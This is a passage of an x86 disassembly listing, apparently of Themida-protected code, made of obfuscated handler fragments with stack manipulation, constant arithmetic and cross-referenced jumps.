ax, [esp] sub esp, 4 mov [esp], eax jmp loc_55BA46 ; --------------------------------------------------------------------------- loc_55205E: ; CODE XREF: Themida_:0055A6A2j add al, bh jmp loc_558B21 ; --------------------------------------------------------------------------- loc_552065: ; CODE XREF: Themida_:00557D29j push 2293h mov [esp], esi push eax mov eax, 2 jmp loc_55C69D ; --------------------------------------------------------------------------- loc_552078: ; CODE XREF: Themida_:005584C1j add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] mov esp, [esp] loc_552087: ; CODE XREF: Themida_:0055CDF7j push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 push 4A3Eh mov [esp], esi jmp loc_5573C6 ; --------------------------------------------------------------------------- loc_5520A5: ; CODE XREF: Themida_:0055C081j jmp loc_551368 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_55CA13 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_551368 ; --------------------------------------------------------------------------- loc_5520BE: ; CODE XREF: Themida_:0055438Fj xor ecx, [esp] mov esp, [esp] mov ax, [esp] push 6BF5h jmp loc_55A70A ; --------------------------------------------------------------------------- loc_5520D2: ; CODE XREF: Themida_:0055668Bj push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp push esi push 800h mov esi, [esp] add esp, 4 and eax, esi push dword ptr [esp] push dword ptr [esp] pop esi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ecx push esp pop ecx add ecx, 4 push esi mov esi, 4 add ecx, esi pop esi push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_557B03 ; --------------------------------------------------------------------------- loc_55212D: ; CODE XREF: Themida_:00552D98j pop ecx xchg edx, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 push 48FDh jmp loc_559DC5 ; --------------------------------------------------------------------------- loc_552147: ; CODE XREF: Themida_:00553D77j xor [esp], eax jmp loc_55CF91 ; --------------------------------------------------------------------------- loc_55214F: ; CODE XREF: Themida_:0055964Fj mov edx, [esp] sub esp, 4 mov [esp], esi push esp jmp loc_554127 ; --------------------------------------------------------------------------- loc_55215E: ; CODE XREF: Themida_:00558EC1j add ecx, 60CC38A2h add ecx, edi sub ecx, 60CC38A2h jmp loc_554788 ; --------------------------------------------------------------------------- loc_552171: ; CODE XREF: Themida_:005534F3j push ecx jmp loc_558A6A ; --------------------------------------------------------------------------- loc_552177: ; CODE XREF: Themida_:00558000j mov [esp], eax jmp loc_55772B ; --------------------------------------------------------------------------- unk_55217F db 0 ; CODE XREF: Themida_:0055BC48j ; --------------------------------------------------------------------------- fsub dword ptr [esi+68h] pop ecx or [esi-77h], ah adc al, 24h mov dh, 0E9h sub esp, 4 mov [esp], ebx mov bl, 81h add al, bl mov ebx, [esp] add esp, 4 sub al, dh sub al, 81h pop dx sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], ecx mov ch, 49h mov bl, 76h sub bl, 67h add bl, ch jmp loc_5594E7 ; --------------------------------------------------------------------------- loc_5521C4: ; CODE XREF: Themida_:00552CF7j push ebx mov ebx, 6461299h or ebx, 341F2314h jmp loc_55C6B0 ; --------------------------------------------------------------------------- loc_5521D5: ; CODE XREF: Themida_:00551C38j add ebx, 4 push edx mov edx, 4 jmp loc_55B88B ; --------------------------------------------------------------------------- loc_5521E6: ; CODE XREF: Themida_:00557B8Bj mov eax, 5414159Dh jmp loc_55B126 ; --------------------------------------------------------------------------- loc_5521F0: ; CODE XREF: Themida_:0055CC28j add eax, 77E34D39h push ebx mov ebx, 2C0576EDh sub eax, ebx pop ebx pop edi push 3E73h mov [esp], ebp push edi push ebx push 16862125h pop ebx add ebx, 58DE0A5Ah mov edi, ebx pop ebx and edi, 177451FCh jmp loc_55A77F ; --------------------------------------------------------------------------- loc_552223: ; CODE XREF: Themida_:0055BB7Aj add edx, ebx pop ebx jmp loc_559D31 ; --------------------------------------------------------------------------- loc_55222B: ; CODE XREF: Themida_:00554768j add edi, ebp pop ebp add edi, esi jmp loc_554ADC ; --------------------------------------------------------------------------- loc_552235: ; CODE XREF: Themida_:0055B59Aj xor bl, al movzx eax, al jmp loc_552B81 ; --------------------------------------------------------------------------- loc_55223F: ; CODE XREF: Themida_:0055BC9Ej sub ecx, 6A910C68h jmp loc_55429F ; --------------------------------------------------------------------------- loc_55224A: ; CODE XREF: Themida_:00556CF7j add edx, 4 add edx, 4 jmp loc_559109 ; --------------------------------------------------------------------------- loc_552258: ; CODE XREF: Themida_:0055A065j mov ecx, [esp] add esp, 4 shr eax, 0Ah xor eax, ecx push edx mov edx, esp add edx, 4 push ecx mov ecx, 4 push ebp mov ebp, 7DC7791Ah add edx, ebp pop ebp sub edx, ecx sub edx, 7DC7791Ah mov ecx, [esp] add esp, 4 xchg edx, [esp] pop esp mov [esp], eax push 0DE7h mov [esp], edx pop eax mov edx, [esp] push ecx mov ecx, esp jmp loc_55CF23 ; --------------------------------------------------------------------------- loc_5522A7: ; CODE XREF: Themida_:00551927j pop ebp add edx, ecx sub esp, 4 mov [esp], edi mov edi, 28735524h add edi, 17C9C0D7h add edx, edi pop edi pop ecx add edx, 2 xor edx, [esp] xor [esp], edx jmp loc_555947 ; --------------------------------------------------------------------------- loc_5522D0: ; CODE XREF: Themida_:0055B9D7j mov edx, 0E370C22h xor edx, 0F97246Dh add edx, 0FE5FD7B5h add eax, edx mov edx, [esp] add esp, 4 push ebx jmp loc_55165E ; --------------------------------------------------------------------------- loc_5522EF: ; CODE XREF: Themida_:00553D2Ej push dword ptr [esp] pop edx jmp loc_55A7A0 ; --------------------------------------------------------------------------- loc_5522F8: ; CODE XREF: Themida_:00553FD0j push 1D3Bh mov [esp], ebp jmp loc_553AF5 ; --------------------------------------------------------------------------- loc_552305: ; CODE XREF: Themida_:00555A5Ej mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_557DBA ; --------------------------------------------------------------------------- loc_552319: ; CODE XREF: Themida_:0055CABBj sub esi, ebx add esi, 2B3C6101h jmp loc_559024 ; --------------------------------------------------------------------------- loc_552326: ; CODE XREF: Themida_:005538EBj sub [edi+24h], ebx mov ebx, [esp] add esp, 4 jmp loc_55A255 ; --------------------------------------------------------------------------- loc_552337: ; CODE XREF: Themida_:0055805Cj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ecx, 4 jmp loc_55A713 ; --------------------------------------------------------------------------- loc_552352: ; CODE XREF: Themida_:00556236j shl dword ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55235B: ; CODE XREF: Themida_:0055A0EAj sub edx, 0AAD49604h push ecx mov ecx, 1E5E031Eh jmp loc_55B751 ; --------------------------------------------------------------------------- loc_55236C: ; CODE XREF: Themida_:00553B47j and eax, esi pop esi jmp loc_55618A ; --------------------------------------------------------------------------- lodsd add eax, 2C876A2Ch sub eax, 49C946DEh add eax, 69BF5ADCh add eax, ebx push ecx jmp loc_556E6C ; --------------------------------------------------------------------------- loc_55238C: ; CODE XREF: Themida_:005583B8j mov [esp], eax push esp push dword ptr [esp] pop eax jmp loc_55AB6F ; --------------------------------------------------------------------------- loc_552399: ; CODE XREF: Themida_:00555238j add ebx, edi sub ebx, 6CD30EFAh add ebx, 61F10E9h add ebx, 49AD245Fh jmp loc_55A197 ; --------------------------------------------------------------------------- loc_5523B2: ; CODE XREF: Themida_:0055D367j sub ecx, 0FFFFFFFFh jmp loc_556A23 ; --------------------------------------------------------------------------- loc_5523BD: ; CODE XREF: Themida_:00551D70j push dword ptr [esp] pop ebx push edx mov edx, esp push edi mov edi, 4 jmp loc_555F48 ; --------------------------------------------------------------------------- push ecx jmp loc_55457D ; --------------------------------------------------------------------------- loc_5523D5: ; CODE XREF: Themida_:0055C903j xor ebx, 40DA0156h jmp loc_55614D ; --------------------------------------------------------------------------- loc_5523E0: ; CODE XREF: Themida_:00554442j pop ecx jmp loc_558224 ; --------------------------------------------------------------------------- loc_5523E6: ; CODE XREF: Themida_:0055B6DCj push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 jmp loc_55714A ; --------------------------------------------------------------------------- loc_552403: ; CODE XREF: Themida_:005542C1j sub bl, dh pop dx add bl, al push edx mov dl, 2Ah add dl, 0FFh push ax mov ah, 53h shr ah, 4 add ah, 93h dec ah push edx jmp loc_55C21E ; --------------------------------------------------------------------------- mov ax, [esp] push 7DE5h jmp loc_55B7FB ; --------------------------------------------------------------------------- loc_55242F: ; CODE XREF: Themida_:00555345j mov edx, 7EA522B3h jmp loc_55463F ; --------------------------------------------------------------------------- loc_552439: ; CODE XREF: Themida_:0055683Cj pop esi sub ecx, 1 jmp loc_55534A ; --------------------------------------------------------------------------- loc_552442: ; CODE XREF: Themida_:0055ACFCj not edi dec edi dec edi jmp loc_5560F1 ; --------------------------------------------------------------------------- loc_55244B: ; CODE XREF: Themida_:0055B631j mov esp, [esp] jmp loc_556C3C ; --------------------------------------------------------------------------- loc_552453: ; CODE XREF: Themida_:00559DD3j pop edx add ecx, edx mov edx, [esp] add esp, 4 sub ecx, 24C03475h add ecx, edi add ecx, 24C03475h sub ecx, 6255093h push ebx push ecx mov ecx, 755955D6h mov ebx, 755955D6h xor ebx, ecx pop ecx sub ebx, 37CD4DA7h add ebx, ecx jmp loc_55AF45 ; --------------------------------------------------------------------------- loc_55248C: ; CODE XREF: Themida_:005544CDj mov ebp, 1B3A339Ch sub ebp, esi pop esi add edi, 2C1023E7h add edi, ebp push ebx mov ebx, 6A044ECBh jmp loc_557D1D ; --------------------------------------------------------------------------- loc_5524A7: ; CODE XREF: Themida_:0055353Dj sub eax, 790438C2h jmp loc_55CE56 ; --------------------------------------------------------------------------- loc_5524B1: ; CODE XREF: Themida_:00559DA4j mov edx, esp add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_5568EB ; --------------------------------------------------------------------------- loc_5524D3: ; CODE XREF: Themida_:005546E1j pop esp jmp loc_55987B ; --------------------------------------------------------------------------- loc_5524D9: ; CODE XREF: Themida_:00553AC8j push edi mov edi, 0B9D6BBAh xor edi, 2BA65331h and edi, 497F166Bh not edi inc edi jmp loc_557DFD ; --------------------------------------------------------------------------- loc_5524F3: ; CODE XREF: Themida_:0055194Bj pop dword ptr [edi+20h] jmp loc_5534D8 ; --------------------------------------------------------------------------- loc_5524FB: ; CODE XREF: Themida_:005574A5j push 1ABAh mov [esp], eax mov eax, 52C4194Dh add edx, 7CD728CFh jmp loc_55D028 ; --------------------------------------------------------------------------- loc_552513: ; CODE XREF: Themida_:0055735Bj push dword ptr [esp] pop esi add esp, 4 jmp loc_5590C5 ; --------------------------------------------------------------------------- loc_552522: ; CODE XREF: Themida_:0055C827j pop ebx xchg edi, ebx not edi xchg edi, ebx jmp loc_55397E ; --------------------------------------------------------------------------- loc_55252E: ; CODE XREF: Themida_:005574B9j mov [esp], ecx mov ecx, 95D05A4h sub eax, 33C55F08h sub eax, ecx add eax, 33C55F08h mov ecx, [esp] add esp, 4 jmp loc_555C5D ; --------------------------------------------------------------------------- loc_552550: ; CODE XREF: Themida_:00554B7Bj pop eax jmp loc_557D91 ; --------------------------------------------------------------------------- loc_552556: ; CODE XREF: Themida_:0055A590j mov ecx, 4 add ebx, ecx jmp loc_55A803 ; --------------------------------------------------------------------------- loc_552562: ; CODE XREF: Themida_:0055D2D8j mov [esp], edx mov edx, 22463323h xor edx, 3CDF27E4h add edx, 78A14C5Ch dec edx neg edx xor edx, 68C59EDAh add edi, 653F1B4Ch add edi, edx sub edi, 653F1B4Ch pop edx push edi jmp loc_558E89 ; --------------------------------------------------------------------------- push eax push 340h jmp loc_557D46 ; --------------------------------------------------------------------------- loc_55259F: ; CODE XREF: Themida_:00556123j pop edx pop eax push edi jmp loc_556E38 ; --------------------------------------------------------------------------- loc_5525A7: ; CODE XREF: Themida_:0055BF60j add ecx, ebp jmp loc_55A53B ; --------------------------------------------------------------------------- loc_5525AE: ; CODE XREF: Themida_:00553116j add esp, 4 movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- jmp loc_553443 ; --------------------------------------------------------------------------- loc_5525BC: ; CODE XREF: Themida_:00556D65j pop ebp push ebp mov ebp, 8F2B0578h jmp loc_551D2B ; --------------------------------------------------------------------------- loc_5525C8: ; CODE XREF: Themida_:00552739j inc eax not eax and eax, 1DA44BCh add eax, 0FFFFFFFFh add eax, 4A032AEh or esi, eax mov eax, [esp] add esp, 4 or esi, 6AF875AFh and esi, 3A714006h jmp loc_5584BB ; --------------------------------------------------------------------------- loc_5525F1: ; CODE XREF: Themida_:00558789j push 745h mov [esp], eax jmp loc_551368 ; --------------------------------------------------------------------------- loc_5525FE: ; CODE XREF: Themida_:0055CA77j push esi jmp loc_556F65 ; --------------------------------------------------------------------------- mov cx, [esp] push 788Fh mov [esp], edi jmp loc_55BDBB ; --------------------------------------------------------------------------- loc_552615: ; CODE XREF: Themida_:00559D47j add ecx, edi jmp loc_55441E ; --------------------------------------------------------------------------- loc_55261C: ; CODE XREF: Themida_:00551399j add esp, 2 push 733Bh mov [esp], edx push ebx mov bh, 15h mov dl, bh jmp loc_557FA9 ; --------------------------------------------------------------------------- loc_552634: ; CODE XREF: Themida_:00557034j push small word ptr [esp+2] pop di pop small word ptr [esp] jmp loc_5545FF ; --------------------------------------------------------------------------- loc_552644: ; CODE XREF: Themida_:0055D1C6j not esi dec esi add esi, 62D00BCEh xor esi, 679830h sub eax, esi jmp loc_551F32 ; --------------------------------------------------------------------------- loc_55265A: ; CODE XREF: Themida_:00557FA4j push ebp mov ebp, 315B0205h xor ebp, 3A56205Ah jmp loc_554DAE ; --------------------------------------------------------------------------- loc_55266B: ; CODE XREF: Themida_:005584F3j or bl, dl pop edx shr bl, 1 jmp loc_551EBB ; --------------------------------------------------------------------------- loc_552675: ; CODE XREF: Themida_:0055B820j add ebp, 6CD76EB2h add ebp, esi sub ebp, 6CD76EB2h mov esi, [esp] jmp loc_558E6F ; --------------------------------------------------------------------------- loc_55268B: ; CODE XREF: Themida_:00558427j xchg ebx, [esp] pop esp jmp loc_558F68 ; --------------------------------------------------------------------------- loc_552694: ; CODE XREF: Themida_:005593ECj add ebx, 4 jmp loc_55CEC7 ; --------------------------------------------------------------------------- lodsb jmp loc_551F05 ; --------------------------------------------------------------------------- loc_5526A5: ; CODE XREF: Themida_:00556085j neg al push ebx mov bh, 0E1h push 0EA8h jmp loc_55C0D5 ; --------------------------------------------------------------------------- loc_5526B4: ; CODE XREF: Themida_:00558EEEj mov edx, esp jmp loc_557D2E ; --------------------------------------------------------------------------- loc_5526BB: ; CODE XREF: Themida_:00552EEEj mov [esp], edi jmp loc_55B825 ; --------------------------------------------------------------------------- loc_5526C3: ; CODE XREF: Themida_:00555FCEj mov esi, 1 and ecx, esi mov esi, [esp] jmp loc_559F5B ; --------------------------------------------------------------------------- loc_5526D2: ; CODE XREF: Themida_:005599AEj add bl, 15h add bl, al sub bl, 15h pop eax push edx sub esp, 4 mov [esp], ebx mov ebx, 1B986869h mov edx, 0E46797CFh add edx, 281B2720h add edx, ebx jmp loc_5537D3 ; --------------------------------------------------------------------------- loc_5526FC: ; CODE XREF: Themida_:00555A8Ej mov esi, 0B6670C5Fh xor ebp, esi pop esi jmp loc_5549BD ; --------------------------------------------------------------------------- loc_552709: ; CODE XREF: Themida_:0055B034j or [edi+1Ch], ebp push dword ptr [esp] jmp loc_552F99 ; --------------------------------------------------------------------------- loc_552714: ; CODE XREF: Themida_:00559D0Ej sub al, ch pop ecx jmp loc_5576B1 ; --------------------------------------------------------------------------- loc_55271C: ; CODE XREF: Themida_:00557DC1j sub esp, 4 jmp loc_5550F2 ; --------------------------------------------------------------------------- loc_552724: ; CODE XREF: Themida_:0055AB32j xor eax, 60043D3Ch jmp loc_55A488 ; --------------------------------------------------------------------------- loc_55272E: ; CODE XREF: Themida_:00553368j push eax mov eax, 6534365Ch sub eax, 40416ECAh jmp loc_5525C8 ; --------------------------------------------------------------------------- loc_55273E: ; CODE XREF: Themida_:005559D4j xor eax, [esp] jmp loc_557BAF ; --------------------------------------------------------------------------- loc_552746: ; CODE XREF: Themida_:00553A3Aj xor eax, ecx push ecx mov ecx, esp push ebx mov ebx, 532063E9h dec ebx push ecx jmp loc_559C3A ; --------------------------------------------------------------------------- loc_552758: ; CODE XREF: Themida_:0055BD45j sub edx, 21D75051h push ebx push eax mov eax, 9222F25h not eax jmp loc_553C44 ; --------------------------------------------------------------------------- loc_55276C: ; CODE XREF: Themida_:005566D3j push esi mov esi, esp add esi, 4 jmp loc_558235 ; --------------------------------------------------------------------------- loc_55277A: ; CODE XREF: Themida_:00551E5Aj pop ecx jmp loc_551BD6 ; --------------------------------------------------------------------------- loc_552780: ; CODE XREF: Themida_:0055A66Ej pop edx jmp loc_554EEA ; --------------------------------------------------------------------------- loc_552786: ; CODE XREF: Themida_:0055880Cj push ecx jmp loc_554ACB ; --------------------------------------------------------------------------- loc_55278C: ; CODE XREF: Themida_:00553000j xchg ecx, [esp] jmp loc_557276 ; --------------------------------------------------------------------------- loc_552794: ; CODE XREF: Themida_:00557581j pop edi jmp loc_55C533 ; --------------------------------------------------------------------------- loc_55279A: ; CODE XREF: Themida_:005571F5j sub esp, 4 mov [esp], edi mov edi, 4 add ecx, edi pop edi add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp xchg eax, [esp] mov esp, [esp] mov cx, [esp] push 5CE1h mov [esp], ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_55491F ; --------------------------------------------------------------------------- loc_5527E8: ; CODE XREF: Themida_:00556EC6j pop edi jmp loc_5541CF ; --------------------------------------------------------------------------- loc_5527EE: ; CODE XREF: Themida_:0055D4ECj push eax mov eax, esi mov ebp, eax jmp loc_554A41 ; --------------------------------------------------------------------------- loc_5527F8: ; CODE XREF: Themida_:005533C5j mov esp, [esp] push 991h mov [esp], esi sub esp, 4 mov [esp], ebp mov ebp, 0FFFFh push ebp pop esi push dword ptr [esp] mov ebp, [esp] jmp loc_559CDD ; --------------------------------------------------------------------------- loc_55281E: ; CODE XREF: Themida_:0055D190j mov eax, [esp] push 1B49h mov [esp], eax sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 push 7A78h mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp push eax jmp loc_55C0CC ; --------------------------------------------------------------------------- loc_552850: ; CODE XREF: Themida_:0055C4F6j pop esp push 7ADAh mov [esp], eax mov eax, 4 and ecx, eax jmp loc_554552 ; --------------------------------------------------------------------------- loc_552865: ; CODE XREF: Themida_:00556AA0j sub al, cl sub al, 82h sub al, 0C6h pop cx jmp loc_5599EF ; --------------------------------------------------------------------------- loc_552872: ; CODE XREF: Themida_:0055CC5Fj pop eax xchg edi, [esp] pop esp xor eax, 596D1CABh jmp loc_556258 ; --------------------------------------------------------------------------- loc_552881: ; CODE XREF: Themida_:005547C8j mov eax, [esp] sub esp, 4 mov [esp], edx mov edx, esp push esi mov esi, 4 add edx, esi pop esi push eax mov eax, 3A582A26h jmp loc_5568D8 ; --------------------------------------------------------------------------- loc_5528A3: ; CODE XREF: Themida_:0055B3DBj pop ebp sub dword ptr [esp+4], 6B224D7Bh add [esp+4], eax add dword ptr [esp+4], 6B224D7Bh pop eax jmp loc_55C7F0 ; --------------------------------------------------------------------------- loc_5528BE: ; CODE XREF: Themida_:00555273j add esp, 4 jmp loc_553D74 ; --------------------------------------------------------------------------- loc_5528C6: ; CODE XREF: Themida_:0055B217j pop ecx add ebx, esi push ebp mov ebp, 775E3FEFh xor ebp, 0C176C1Fh xor ebp, 31823CD5h sub ebx, ebp pop ebp mov esi, [esp] jmp loc_55C352 ; --------------------------------------------------------------------------- loc_5528E6: ; CODE XREF: Themida_:0055C5E6j xor edi, [esp] mov esp, [esp] jmp loc_5557A9 ; --------------------------------------------------------------------------- loc_5528F1: ; CODE XREF: Themida_:0055C645j sub ecx, 0FABFFB4Eh mov eax, ecx pop ecx add ecx, eax pop eax xchg ecx, [esp] pop esp jmp loc_55BF4C ; --------------------------------------------------------------------------- loc_552906: ; CODE XREF: Themida_:00556C90j xor al, 1Fh push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_555E12 ; --------------------------------------------------------------------------- loc_55291D: ; CODE XREF: Themida_:00555D95j add bl, 5Ch sub bl, 45h add bl, al add bl, 45h jmp loc_5593D1 ; --------------------------------------------------------------------------- loc_55292D: ; CODE XREF: Themida_:0055C87Fj push eax mov eax, 7037512Ch sub ebx, eax push dword ptr [esp] pop eax push edi jmp loc_552CF5 ; --------------------------------------------------------------------------- loc_55293F: ; CODE XREF: Themida_:0055898Bj add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_55458D ; --------------------------------------------------------------------------- loc_552950: ; CODE XREF: Themida_:0055AB09j push edi push esi mov esi, 7F23D67h jmp loc_55A8E4 ; --------------------------------------------------------------------------- loc_55295C: ; CODE XREF: Themida_:0055BEFAj add edi, ebp pop ebp xor edi, 154D7212h mov edx, edi jmp loc_55B111 ; --------------------------------------------------------------------------- loc_55296C: ; CODE XREF: Themida_:005568BDj pop edx pop esi jmp loc_5561F3 ; --------------------------------------------------------------------------- loc_552973: ; CODE XREF: Themida_:0055D2C8j mov edx, ebp push edx pop eax pop edx jmp loc_55890A ; --------------------------------------------------------------------------- loc_55297D: ; CODE XREF: Themida_:00555016j push edi mov edi, 0BAB6EB42h add ecx, edi pop edi mov edx, ecx jmp loc_5540A1 ; --------------------------------------------------------------------------- loc_55298D: ; CODE XREF: Themida_:0055BE89j mov ebx, 4 push ecx mov ecx, 445557D3h jmp loc_551FF5 ; --------------------------------------------------------------------------- loc_55299D: ; CODE XREF: Themida_:00557A71j push ecx mov ecx, 4C9E3E32h inc ecx xor ecx, 6F5579Ah mov esi, ecx jmp loc_5514F0 ; --------------------------------------------------------------------------- loc_5529B1: ; CODE XREF: Themida_:0055CF8Cj pop ecx add ecx, edi jmp loc_55C4A7 ; --------------------------------------------------------------------------- loc_5529B9: ; CODE XREF: Themida_:00553136j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55C8D3 ; --------------------------------------------------------------------------- loc_5529CF: ; CODE XREF: Themida_:0055AA80j push esi mov esi, 36EA240Ch jmp loc_55BB03 ; --------------------------------------------------------------------------- loc_5529DA: ; CODE XREF: Themida_:00554E0Fj jmp loc_551368 ; --------------------------------------------------------------------------- loc_5529DF: ; CODE XREF: Themida_:00556FE9j push edx push 27AEh mov [esp], ecx jmp loc_55C286 ; --------------------------------------------------------------------------- loc_5529ED: ; CODE XREF: Themida_:0055B375j pop dword ptr [esp] mov esp, [esp] imul cx push small 3C1Fh mov [esp], dx push ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_552A06: ; CODE XREF: Themida_:0055B04Ej sub edx, 4 xchg edx, [esp] jmp loc_555749 ; --------------------------------------------------------------------------- loc_552A14: ; CODE XREF: Themida_:005570FBj add esp, 4 jmp loc_559CB6 ; --------------------------------------------------------------------------- loc_552A1F: ; CODE XREF: Themida_:00557DDDj add eax, 68416614h add eax, ebp sub eax, 68416614h sub eax, 4D167143h pop ebp xchg eax, [esp] pop esp jmp loc_559727 ; --------------------------------------------------------------------------- loc_552A3A: ; CODE XREF: Themida_:005557A4j pop edi jmp loc_5578F9 ; --------------------------------------------------------------------------- loc_552A40: ; CODE XREF: Themida_:00556E57j add esp, 4 jmp loc_559DF1 ; --------------------------------------------------------------------------- loc_552A48: ; CODE XREF: Themida_:00559217j pop eax sub eax, 3B1D4B0Ch push eax add dword ptr [esp], 692D0A59h pop edi jmp loc_5545C0 ; --------------------------------------------------------------------------- loc_552A5C: ; CODE XREF: Themida_:0055169Ej pop ebx push ebp sub esp, 4 mov [esp], esp jmp loc_553350 ; --------------------------------------------------------------------------- loc_552A69: ; CODE XREF: Themida_:00559554j xor eax, 0C148F29Eh sub esi, eax jmp loc_559EB7 ; --------------------------------------------------------------------------- loc_552A75: ; CODE XREF: Themida_:00557E15j mov esp, [esp] jmp loc_55939D ; --------------------------------------------------------------------------- mov cx, [esp] push 2132h mov [esp], ebp mov ebp, esp jmp loc_555112 ; --------------------------------------------------------------------------- loc_552A90: ; CODE XREF: Themida_:0055C669j push esi mov esi, 65D0754Fh inc esi push ecx jmp loc_55CA69 ; --------------------------------------------------------------------------- loc_552A9D: ; CODE XREF: Themida_:00559AE7j add esi, 556CF010h add eax, esi pop esi sub eax, ebp sub eax, 5FCD1218h pop ebp add eax, ebx add eax, 715E55B4h add eax, 95D05A4h jmp loc_558988 ; --------------------------------------------------------------------------- loc_552ABF: ; CODE XREF: Themida_:0055972Fj pop cx inc bh sub bh, 0CDh add al, bh jmp loc_55C66E ; --------------------------------------------------------------------------- loc_552ACD: ; CODE XREF: Themida_:0055BAA4j push eax mov eax, 4 add [esp+4], eax jmp loc_555E63 ; --------------------------------------------------------------------------- loc_552ADC: ; CODE XREF: Themida_:00559F86j sub eax, 0BF71724Eh sub eax, esi pop esi add eax, 0C58E9346h push esi mov esi, 28663A73h or esi, 0EF0366Ah not esi sub esi, 1505DEh shr esi, 6 jmp loc_558BA0 ; --------------------------------------------------------------------------- loc_552B05: ; CODE XREF: Themida_:00559544j push eax mov eax, 68E0321Dh mov ebp, 68E0321Dh sub ebp, eax jmp loc_556AEC ; --------------------------------------------------------------------------- loc_552B17: ; CODE XREF: Themida_:005539B8j pop ebx mov ecx, esi pop esi dec ecx add ecx, 61DA0891h shl ecx, 6 neg ecx jmp loc_55462E ; --------------------------------------------------------------------------- loc_552B2C: ; CODE XREF: Themida_:00551BC7j add edx, ebx pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_552B45: ; CODE XREF: Themida_:00554C2Fj pop bx not bx add bx, 0F3FFh mov dx, bx pop ebx sub dx, bp pop ebp add bx, 4D9Ah add bx, 6D4Bh sub bx, 3E6Dh sub bx, dx push di mov di, 3E6Dh add bx, di pop di jmp loc_5593F1 ; --------------------------------------------------------------------------- loc_552B79: ; CODE XREF: Themida_:00557A22j push dword ptr [esp] jmp loc_557189 ; --------------------------------------------------------------------------- loc_552B81: ; CODE XREF: Themida_:0055223Aj push dword ptr [edi+eax*4] jmp loc_551368 ; --------------------------------------------------------------------------- loc_552B89: ; CODE XREF: Themida_:00552CBDj pop ebx jmp loc_556841 ; --------------------------------------------------------------------------- loc_552B8F: ; CODE XREF: Themida_:00559033j mov eax, esi pop esi jmp loc_555A93 ; --------------------------------------------------------------------------- loc_552B97: ; CODE XREF: Themida_:00551619j pop eax pop dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ebx jmp loc_55A72B ; --------------------------------------------------------------------------- loc_552BA8: ; CODE XREF: Themida_:00558856j add esp, 4 xor ecx, ebp mov ebp, [esp] jmp loc_55866F ; --------------------------------------------------------------------------- loc_552BB8: ; CODE XREF: Themida_:00551778j sub esp, 4 mov [esp], ecx mov cx, 177Eh xor cx, 4F16h xor cx, 3E50h jmp loc_5582B9 ; --------------------------------------------------------------------------- push small 25CEh mov [esp], sp push ebx push esp jmp loc_559D67 ; --------------------------------------------------------------------------- loc_552BE0: ; CODE XREF: Themida_:00558318j mov ax, [esp] push edi jmp loc_55326B ; --------------------------------------------------------------------------- loc_552BEA: ; CODE XREF: Themida_:00557E2Dj mov ebx, 1B0F5605h or ebx, 4B46649Fh shl ebx, 3 xor ebx, 504B48E2h add ebx, 52BB4A71h jmp loc_55D488 ; --------------------------------------------------------------------------- loc_552C09: ; CODE XREF: Themida_:0055917Dj pop esi shr ecx, 2 add ecx, 19B237AFh shl ecx, 1 shl ecx, 5 add ecx, 6B7E6844h add esi, ecx pop ecx push ecx mov ecx, 2 add esi, ecx pop ecx xchg esi, [esp] pop esp jmp loc_55B9B2 ; --------------------------------------------------------------------------- loc_552C33: ; CODE XREF: Themida_:00554675j pop edi jmp loc_55D49C ; --------------------------------------------------------------------------- loc_552C39: ; CODE XREF: Themida_:00559767j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push dword ptr [esp] pop ecx push 6B00h jmp loc_555B95 ; --------------------------------------------------------------------------- loc_552C51: ; CODE XREF: Themida_:0055CC88j add ecx, eax pop eax jmp loc_559DCD ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_552C69: ; CODE XREF: Themida_:0055C3E7j sub esp, 4 mov [esp], edi mov edi, esp push ebx push 4 pop ebx add edi, ebx jmp loc_555ACC ; --------------------------------------------------------------------------- lodsb push dx push ecx mov ch, 0A1h and ch, 55h jmp loc_556542 ; --------------------------------------------------------------------------- loc_552C8D: ; CODE XREF: Themida_:0055D1CEj xor edx, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_558489 ; --------------------------------------------------------------------------- loc_552CA3: ; CODE XREF: Themida_:005594F1j mov edi, 2B766CB4h jmp loc_553D9F ; --------------------------------------------------------------------------- loc_552CAD: ; CODE XREF: Themida_:0055BA6Dj pop eax sub bl, al sub bl, 0C4h mov eax, [esp] jmp loc_55AF35 ; --------------------------------------------------------------------------- loc_552CBB: ; CODE XREF: Themida_:0055BBE4j add edi, ebx jmp loc_552B89 ; --------------------------------------------------------------------------- loc_552CC2: ; CODE XREF: Themida_:0055A015j add ebp, edx pop edx mov edi, [esp] add esp, 4 add ebp, 4 jmp loc_555E4E 